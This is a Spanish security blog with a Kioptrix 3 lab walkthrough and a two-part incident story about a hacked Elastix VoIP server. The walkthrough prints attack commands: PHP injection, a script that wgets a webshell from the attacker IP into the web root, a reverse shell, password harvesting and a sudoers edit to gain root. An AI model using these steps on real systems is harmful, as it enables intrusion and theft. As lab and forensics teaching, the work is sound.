Kioptrix3 Un solucionario confuso!!!

Bienvenidos una vez mas....

En esta ocasión les traigo el solucionario producto de la colaboración en el proyecto sec-track, lo llamo un solucionario confuso debido a que en el momento en que 4v4t4r lo posteo en sec-track  hacia referencia al entorno de kioptrix pero versión 4, sin embargo no sé porque al final termine dándole solución a la versión 3, no siendo más manos a la obra!!!

Iniciamos con un el típico barrido de pings para identificar los host que están arriba

#nmap –sP  192.168.223.1-255

una vez identificado el objetivo en mi caso la maquina con IP 192.168.223.131, realizamos el respectivo escaneo de puertos identificando versión de servicios y sistema operativo del objetivo

Como se puede ver en el objetivo está corriendo un servidor apache así como el servicio ssh, en este punto se puede llegar a pensar en ataque de fuerza bruta usando herramientas como hydra, medussa y otras más, sin embargo la información en este punto no es la suficiente para esto!!!

De modo que abrimos nuestro navegador web y nos dirigimos al sitio web del objetivo en cuestión

Con el fin de identificar algunos directorios y archivos en el objetivo, verificamos los diferentes enlaces del menú del mismo y de las diferentes páginas encontrando errores que nos dan información de la estructura de directorios del servidor

pero al final usamos una vez más dirbuster con la intensión de identificar la estructura de directorios y archivos del sitio web

Al identificar el directorio de inmediato verificamos la versión de phpmyadmin a través del navegador web

Con base en esta informacion podemos  realizar la búsqueda de algunos fallos de esta versión especifica de phpmyadmin y porque no uno que otro exploit

root@bt:/#cd  /pentest/exploits/exploitdb

root@bt:/pentest/exploits/exploitdb#./searchsploit phpmyadmin

 Description                                                                 Path

--------------------------------------------------------------------------- -------------------------

phpMyAdmin 2.5.7 Remote code injection Exploit                              /php/webapps/309.c

phpMyAdmin 2.6.4-pl1 Remote Directory Traversal Exploit                     /php/webapps/1244.pl

phpMyAdmin 3.1.0 (XSRF) SQL Injection Vulnerability                         /php/webapps/7382.txt

phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit                  /php/webapps/8921.sh

pmaPWN! - phpMyAdmin Code Injection RCE Scanner & Exploit                   /php/webapps/8992.php

phpMyAdmin 2.6.3-pl1 Cross Site Scripting and Full Path                     /php/webapps/12642.txt

PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification  /php/webapps/15699.txt

PhpMyAdmin Config File Code Injection                                       /php/webapps/16913.rb

phpMyAdmin3 (pma3) Remote Code Execution Exploit                            /php/webapps/17510.py

phpMyAdmin3 (pma3) Remote Code Execution Exploit                            /php/webapps/17510.py

phpMyAdmin 3.x Swekey Remote Code Injection Exploit                         /php/webapps/17514.php

phpMyAdmin 3.x Swekey Remote Code Injection Exploit                         /php/webapps/17514.php

como ejemplo de uno de ellos  se tiene aquí un ataque de inyección de caracteres que por lo general permite ataques hacia el lado del cliente (muy útiles combinados con Ing Social)

Sin embargo para este caso me incline mas por usar para el análisis del sitio web en general una herramienta muy conocida que trabaja sobre entornos windows (no muestro nada de esta, debido a que para este caso instalé y probé una versión full-crack que encontré por ahí en la web) sin embargo una vez finalizado el escaneo me mostro mas de 10 alertas potenciales de las cuales solo 3 eran realmente útiles para comprometer el servidor hasta el punto de alcanzar el objetivo (acceso total a este) ya que habían algunas que permitían DoS o XSS el cual es un ataque más del lado del cliente

En este caso oriente mi vector de ataque a un fallo injeccion de código php de la página principal, de modo que tome la POC (prueba de concepto) que me dio esta herramienta y la modifique de modo que en este caso la inserción fuese la tan conocida función phpinfo() con la cual se puede obtener información importante de nuestro objetivo(miren la URL!!!)

Como en este caso la inyección fue satisfactoria, procedí a inyectar la función system que me permite ejecutar comandos del sistema a través de la pagina web, para este caso se probo ejecutando whoami cuyo resultado es evidente en la siguiente imagen

En este punto les comento que al tratar de ejecutar comandos que requerían caracteres especiales generaba errores de sintaxis, así fuese un simple

#ls –l

Lo cual complicaba las cosas ya que los comandos que necesitaba usar no lograban tener una ejecución satisfactoria(no pasaban del intérprete de php);  en este punto frente a esta situación trate de codificar enviando estos caracteres en hexadecimal pero el resultado era similar de modo que después de pensar un buen rato lejos del PC la única solución que encontré fue enviar los comandos codificados en base 64 al punto que estos fusen decodificarlos en tiempo de ejecución (aquí viene la parte de la pila de llamados pero eso se lo dejo de tarea).

Como pueden ver la imagen anterior es el resultado de enviar codificado en base64 el comando ya antes mencionado “ls –l” , en vista que mi prueba de concepto fue efectiva intente ejecutar el comando 

#wget http://192.168.223.130/shell.txt

pero el resultado no fue el esperado, lo cual era por permisos de escritura en el directorio de modo que se me ocurrió crear un archivo bash ejecutando los siguientes comandos codificados en base 64

echo “cd /tmp” > /tmp/script.sh

echo “wget http://192.168.223.130/shell.txt” >> /tmp/script.sh

echo “mv /tmp/shell.txt /home/www/kioptrix3.com/modules/shell.php” >> /tmp/script.sh

una vez hecho esto solo fue ejecutar el comando

bash /tmp/script.sh

al punto que volviendo desde el navegador web de la maquina atacante se logro acceso a la webshell que por medio de la ejecucion del script descargamos y movimos

Para evitar inconvenientes y tratar de realizar una conexión mas interactiva debido a que la conexión inversa desde la web shell falló (0 y van 2 veces), subimos la a través de esta la shell que nos permite una conexión inversa usada también en el solucionario del hackademic.rtb2

Una vez puesto en escucha en la maquina atacante el puerto 1503 renombramos la Shell a .php la ejecutamos y obtuvimos un acceso como el usuario antes identificado www-data

De modo que usando el comando

#uname –a 

obtuvimos información detallada de la maquina en cuestión

Desafortunadamente para este caso el servidor era administrado por un “juacker” que había blindado el sistema con el fin de evitar que alguien lograra escalar privilegios, de modo que los exploits que usé para escalar privilegios fallaron.

Esto se pudo verificar en el directorio de este usuario cuya ruta era

/home/loneferret/

En este directorio había dos archivos un script bash y un archivo de políticas que servirá mucho más adelante

El bash tenia de nombre checksec.sh

De modo que al ejecutarlo se obtuvo

#bash checksec.sh

Volviendo a la web Shell con el fin de recolectar mas información del sistema y sus usuarios decidí buscar la información de conexión a la base de datos de la aplicación web, pero en este punto y sin información del framework y/o plantilla usada, desde la web Shell ejecute un comando bastante “descabellado” (es algo grotesco o como dirían los desarrolladores un machetazo), pero que me arrojo resultados satisfactorios el comando usado fue

#cat */* grep pass

Una vez identificado el patrón de definición de variables del archivo de configuracion realice la busqueda filtrando por la palabra GLOBALS

#cat */* grep GLOBALS

En este punto tenemos el nombre de usuario y password de acceso a la base de datos, asi que de vuelta en el navegador accedemos a phpmyadmin y nos autenticamos, aquí se encontró la base de datos gallery

De inmediato verificamos la tabla de usuarios donde se encuentra un registro de usuario con nombre de usuario y password en texto plano (uich que mal!!!)

Adicional a esta tabla, se encontraba otra de interés una tabla llamada dev_accounts que por su nombre hace referencia a cuentas del equipo, en la cual se encontraron dos registros  con los campos username y password los cuales en este caso son hash md5 de los passwords, lo curioso del asunto es que uno de los nombres de usuario empata con un usuario del sistema (recuerdan la ruta de carpeta en la cual estaba aquel script?).

En este punto solo quedaba checkear a que paalabra correspondían los hash en cuestión, los cuales por sus características parecen ser MD5 (en dragonjar hay un post de cómo reconocer hash), de modo que accedemos a una de las tantas páginas de bases de datos esperando que los hash encontrados estuviesen ahí.

Lo bueno de este caso es que así fue, como las cuentas coincidían no quedaba de otra que intentar conectarnos por ssh usando esta información, de modo que no siendo mas…

…una vez digitamos la contraseña Bingo! un paso más,  ahora solo quedaba probar si el usuario actual hacia parte de los sudoers

Como podemos ver el usuario actual hace parte de la lista de sudoers, sin embargo no se tiene permisos para ejecutar cualquier comando, después de probar con otros comandos entre ellos 

#su
Pero como ven no se logro una ejecución satisfactoria…

…para continuar con el entorno y recolectar un poco más de información, accedí al archivo CompanyPolicy.README cuyo contenido es

Para los que no saben, al ejecutar algo usando sudo  te permite la ejecución del comando siguiente con los privilegios de otro usuario el cual por lo general es el usuario root, de modo que el uso de este editor ht como se lo sugieren (lo que dice en el archivo que acabamos de leer) es grave agujero, y en este caso lo que vamos a hacer es usar este editor para modificar ese archivo de sudoers en la ubicación /etc/passwd/sudoers

Iniciado el editor

Configurando el modo de visualización

Asignado todos los permisos al usuario loneferret, también habría servido quitar ese signo de admiración al binario su pero en mi caso muestro como asignarlos todos (borre todo lo que estaba después del punto de edición).

En seguida después de guardar los cambios y salir probamos la ejecución del comando ls

El cual se ejecuta de manera satisfactoria de modo que después de ejecutar el comando
#su
usando sudo, logramos pasar a ser root, en ese punto verificamos que usuario somos en ese momento

Una vez con los privilegios o mejor hechos "el todo poderoso" en nuestro entorno (root) vamos al directorio del mismo en el cual tenemos

Y para finalizar con este entorno simplemente vemos el archivo Congrats.txt

No siendo mas mis queridos lectores, espero y les haya gustado, si tienen dudas comentenlas y hasta la proxima!!!

Saludos a todos, quien les escribe

Carlos Andrés Rodallega Obando
@crodallega

Escarbando en los log del servidor de Wizard II

Hola a todos el dia de hoy vamos a dar continuidad al tema de la semana pasada, una de las tantas historias de wizard!!!

Como resumen de la publicación anterior se tiene que:

Con los registros de los archivos de los log de los directorios de asterisk y elastix fue posible encontrar información para plantear un mini perfil del atacante, lo cual permitió identificar el posible origen de las llamadas en el momento en el cual este se conecto sin usar ninguna técnica para ocultarse.

Continuando con nuestra historia, tratando de recrear los pasos que se realizaron en ese entonces, se quiso consultar los log de nuestro servidor web ubicados en el directorio /var/log/httpd y una vez más los log solo contienen información de un tiempo aproximado de un mes (estos log si por defecto van eliminándose).

 

Pero lo bueno de la historia es que con base en estos log del servidor, en ese entonces se pudo encontrar una gran cantidad de registros de peticiones por minuto intentando obtener acceso a la interface de administración web de elastix, las cuales concordaban con una vez más con las horas que del perfil de nuestro atacante, lo cual en el momento nos daba un indicio de cómo este personaje logro obtener acceso al sistema aun sabiendo que wizard me había afirmado que las contraseñas que había definido eran seguras. 

Lo curioso es que en este log al excluir las peticiones por fuerza bruta se pudieron encontrar peticiones a una ruta /freepbx/(no la recuerdo del todo bien), lo cual una vez se lo comunique a wizard, este borro su sonrisa y dijo “¿Y es que esto tiene acceso web a FreePBX?”, como lo dije anteriormente yo no tenía experiencia con este tipo de sistemas y simplemente lo que hice fue desde el navegador de mi equipo intentar acceder y efectivamente me apareció la interface de inicio de sesión de freePBX, una vez aquí y viendo lo sorprendido que estaba wizard simplemente fue buscar cuales eran los valores con defecto y efectivamente al entrar admin^2 y enter “BINGO” estaba dentro de la administración de freePBX desde la cual también se podía gestionar el sistema (crear extensiones, cambiar la salida de las llamadas, etc).

Lo anterior es una muestra de lo que dice Christian Cabrera en el post Inseguridad en Elastix
http://asteriskmx.com/2011/11/inseguridad-en-elastix-estadisticas-actualizadas-mexico/

Con lo anterior comprendido y aceptado a wizard solo le quedo aprender la lección (no sé si también el saldo producto de las llamadas).

Lo mejor de todo y no sé si ya se darían cuenta mis apreciados lectores y es que varios meses después, este sistema ha seguido funcionando pues como ven en los log que me facilito wizard los registros ya van por noviembre, la verdad ya no se tienen llamadas a larga distancia desde este servidor; así que según wizard “eso no es problema”, ya que en el momento aparte de que ya no tenían llamadas internacionales wizard cambió todas las contraseñas de acceso.

Pero un nuevo problema surgió y repito las palabras tal y como las dijo wizard: “Se  volvieron a meter en el Servidor y crearon una página web que decía Deface by…”, así que una vez más su servidor había sido objetivo de alguien, lo curioso del caso era que el archivo no se podía visualizar desde la web.

Así que adentrándonos de nuevo a los log no se encontraron accesos no autorizados en los log de elastix ni nada extraño en httpd, de inmediato wizard me dio la ruta donde había visto el archivo, así que miramos los detalles del directorio y este pertenecía a un usuario webmaster, mirando los accesos al sistema usando last para mirar los archivos wtmp que son los que en este caso almacenan los accesos, se obtuvo.

En efecto teníamos aquí accesos por ssh del usuario webmaster, mirando con más detalle y tratando de obtener información del origen, había direcciones IP de diversos países.  

Sin embargo, habían varios accesos durante un periodo superior a un mes, para que se vea con más detalle  se realizo la consulta filtrando por webmaster

¿Pero que había hecho este usuario en el sistema?, Sencillo mirando en el archivo /etc/passwd se pudo encontrar la ruta del directorio de este usuario el cual era /var/www/web/  en el cual estaban los registros de los comandos de nuestro usuario en cuestión.

Mirando los comandos del usuario en el archivo .bash_history teníamos lo siguiente

En donde de forma clara se podía ver como habían obtenido información del sistema, como habían descargado, desempaquetado y ejecutado tres programas en busca de lograr elevar privilegios y mas, desafortunadamente para nuestros atacantes no lograron encontrar el directorio de publicación del apache (este había sido cambiado por wizard) para poder completar su deface y hacerlo visible desde la web. 

(me disculpan, pero les digo a los de este grupo: felicitaciones se la sabian con peras pero no con manzanas)

En el momento en que mostraba esto a wizard, le dije me parece muy extraño porque los usuarios que manejan apache no tienen este tipo de acceso y menos por ssh, en ese momento wizard me miro a los ojos y me dijo: “¿webmaster?, ese fue un usuario que cree yo, cuando estaba haciendo los scripts para los complementos demo, y ¿sabes?, la contraseña era webmaster, sinceramente pensaba que ese usuario lo había borrado al punto que no lo recordaba hasta ahora…“

En conclusión y teniendo en cuenta que este es un caso real, no podemos ser indiferentes ante este tipo de situaciones y pensar que esto nunca nos va a pasar, porque como muy bien dicen los abuelos “Los médicos también se mueren”, tanto que wizard con su experiencia en la materia se pudo ver como un principiante, lo cual termino con su servidor comprometido en diversas situaciones incluyendo su fuerte la parte de VoIP.

Mientras escribía esta pequeña historia (lo que se me permitió contar) pude verificar que los dos últimos archivos que pasaron al servidor aun están en la web, ¿que contienen? ahí les dejo la inquietud, pero eso bajo su responsabilidad…

Saludos a todos, hasta una próxima oportunidad y una vez más gracias D7n0 por la motivación a escribir esta entrada

Carlos Andrés Rodallega Obando
@crodallega

Escarbando en los log del servidor de Wizard I

Bienvenidos una vez mas...

Esta es la historia real de un administrador de servidores al que llamaremos wizard el cual tenía una experiencia considerable en la materia, pero se confió y como son las cosas en este ámbito perdió...

Todo comenzó cuando wizard se dejo convencer y siguiendo las sugerencias que le dio uno de sus proveedores, instalo un sistema para  VoIP basado en asterisk no a mano como estaba acostumbrado sino que monto una distribución de Linux “especializada para sistemas VoIP” denominada "Elastix" y tal como se lo había dicho su  proveedor simplemente fue correr el asistente y en muy poco tiempo todo estaba corriendo de maravilla (segun el proveedor con elastix a parte de que era más sencillo hacer las cosas, este detectaba automáticamente la tarjeta análoga que había proporcionado).

Para ampliar las funcionalidades de su asterisk wizard agrego algunas librerías y componentes unos libres y otros demo, pero como los demo tenían limitaciones uso sus conocimientos de desarrollador para hacer algunos scripts haciendo que los complementos demo quedaran "full-crack".

Todo estaba muy bien en este jardín del edén (el área de servidores), hasta que a wizard se le entregó una carta que había enviado uno de los ISP, notificándole a la empresa que se les había limitado el servicio de llamadas debido a que se habían disparado de repente las llamadas internacionales.

Enseguida wizard me contactó y esto es parte de lo que se encontró:

Wizard en el momento en que fue notificado a parte de sentirse totalmente indefenso, volvió a su servidor y desde la interface web pudo verificar que habían modificado algunas configuraciones y adicional a esto se había agregado una extensión tipo IAX2 cuyo número era 123123, así que tomando esto como referencia y simplemente por darle una mano a wizard a cambio de que me permitiera contar su historia, me dispuse a iniciar la verificación de los archivos log.

(Vale la pena aclarar que esto que se hizo no tiene ninguna validez legal ya que en estos casos se debe llevar un debido proceso, desde el levantamiento de la evidencia para dar inicio y continuidad con la cadena de custodia, en fin)

En la ubicación /var/log se tenían los siguientes directorios y archivos de log.

Iniciando con base en la información que había proporcionado wizard y comentándoles que muchos de estos log estaban vacios, se me ocurrió iniciar por los log de asterisk, y elastix.

Admitiendo que nunca antes había analizado los log de un sistema de este tipo prácticamente lo que hice fue analizar el contenido de cada log y tratar de obtener la mayor información posible de los mismos.

En el archivo Master.csv del directorio cdr-csv se pudo confirmar que desde la extensión 123123 se habían realizado las llamadas en cuestión, así como cuales se habían contestado y cuáles no.

Buscando mas información con base en la extensión se pudo verificar que nuestro intruso había realizado cambios en la configuración del sistema pues como se puede ver en la siguiente imagen, este intento salir por varios proveedores en este caso Jumblo y a través de un dispositivo gsm conectado al servidor.

Adicional sobre este mismo archivo se realizaron búsquedas con base en los números marcados que había identificado el ISP, pero todo apuntaba a la extensión 123123.

En días próximos al incidente (que fue cuando wizard me contactó) se pudo encontrar información en los archivos full del 1 al 5 haciendo búsquedas usando como filtro el número de la extensión. Aquí mi critica al respecto, en ese momento vi que no me daban el registro completo de todo el tiempo que llevaba en funcionamiento el Sistema y en este punto cuando wizard me facilitó los log para realizar esta publicación ya solo hay registros desde el 28 de Octubre, pero ¿y el resto? Desafortunadamente mis apreciados lectores en este sistema estos log se borran automáticamente cosa que no debería ser así. Adicional a esto les comento que los otros log que hacen parte del directorio de asterisk están “vacios”, por lo tanto si no se hace pronto la revisión de los log como en este caso nos vamos a quedar en ceros.

Pero siguiendo con la búsqueda se pudo encontrar en el directorio /var/log/elastix la información de autenticación (esta si está completa) sobre la interface web de elastix. Como podemos ver a continuación.

Desafortunadamente tal y como me lo comento wizard las extensiones IAX2 no mantienen registro del origen de la conexión, por lo cual hasta este punto no se había hablado de direcciones IP de origen, pero en este log pudimos encontrar registros de acceso exitoso desde días antes a que se realizaran las llamadas.

Haciendo el respectivo seguimiento y verificación en algunas listas negras, se pudo encontrar que las  IP desde las cuales se había tenido acceso nuestro atacante eran proxies en este caso uno palestino, tal como se muestra a continuación.

Así como también se muestra una la referencia de uno de los tantos nodos de la red tor.

Con base en esta información se logro realizar la identificación de algunos rangos de horas que usaba nuestro atacante para acceder al sistema los cuales estaban entre 5 – 8 de la mañana (tratando de crear un perfil del atacante), sin embargo nuestro atacante en un momento por X o Y motivo erró y olvidó activar sus tan usados proxy dándonos información del posible origen real de estos accesos no autorizados.

Pero no todo termina ahí, Si wizard afirmaba que las contraseñas que había usado en la configuración de su elastix eran seguras, ¿Como logro este personaje el acceso al sistema?, ¿Obtuvo acceso total al mismo?, ¿Las llamadas fueron el único incidente que ocurrió?

La respuesta de varias de las preguntas anteriores los sorprenderá, pero para no hacer esto muy largo y para no aburrirlos más, en la siguiente publicación (la próxima semana) abordaremos gran parte de esto.

Conclusiones por el momento.

Teniendo como referencia el hecho que los log en este caso se borraban de forma automática, les digo que no solo debemos confiarnos de que nuestros servicios guardan sus log, sino que también debemos hacer que nuestro servidor guarde otros log adicionales a los predefinidos, lo cual nos va a servir de respaldo en un caso como este o para verificar la integridad de los mismos.

Como fue en este caso si se tienen interfaces de administración web las cuales que permiten realizar una gestión más agradable, debemos limitar el acceso a las mismas solo permitiendo conexiones a estas desde determinadas direcciones IP.

Hasta la siguiente parte y gracias a D7n0 por la motivación que me dio para escribir esta entrada, ¿pues quien no quisiera tener acceso a su blog?, pero mi buen amigo ahora está bastante ocupado y ya era hora de iniciar con el mío !!!

Carlos Andrés Rodallega
carlosrodallega@gmail.com
@crodallega